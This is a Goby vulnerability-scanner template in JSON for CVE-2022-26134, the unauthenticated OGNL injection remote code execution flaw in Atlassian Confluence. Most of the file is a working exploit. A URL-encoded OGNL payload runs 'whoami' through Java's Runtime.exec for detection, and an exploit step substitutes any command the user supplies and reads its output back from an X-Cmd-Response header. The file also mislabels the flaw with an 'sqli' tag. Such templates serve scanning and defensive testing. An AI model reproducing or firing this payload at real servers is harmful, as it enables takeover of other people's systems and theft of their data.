/
Atlassian_Confluence_OGNL_Injection_RCE_CVE_2022_26134.json
106 lines (106 loc) · 4.92 KB
/
Atlassian_Confluence_OGNL_Injection_RCE_CVE_2022_26134.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
{
"Name": "Atlassian Confluence OGNL Injection RCE CVE-2022-26134",
"Level": "3",
"Tags": [
"sqli",
"rce"
],
"GobyQuery": "app=\"Confluence\" || product=\"Confluence\" || company=\"Atlassian\"",
"Description": "Confluence is Atlassian's professional enterprise knowledge management and collaboration software, which can also be used to build enterprise wikis.",
"Product": "Atlassian Confluence",
"Homepage": "https://www.atlassian.com",
"Author": "",
"Impact": "In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, from 7.13.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and from 7.18.0 before 7.18.1.",
"Recommendation": "https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html",
"References": [
"https://nvd.nist.gov/vuln/detail/CVE-2022-26134",
"https://jira.atlassian.com/browse/CONFSERVER-79016",
"https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html"
],
"HasExp": true,
"ExpParams": [
{
"Name": "Command",
"Type": "input",
"Value": "whoami"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "302",
"bz": ""
},
{
"type": "item",
"variable": "$head",
"operation": "contains",
"value": "X-Cmd-Response:",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22{{{Command}}}%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "302",
"bz": ""
},
{
"type": "item",
"variable": "$head",
"operation": "contains",
"value": "X-Cmd-Response:",
"bz": ""
}
]
},
"SetVariable": [
"output|lastheader|regex|X-Cmd-Response: (.*)"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
}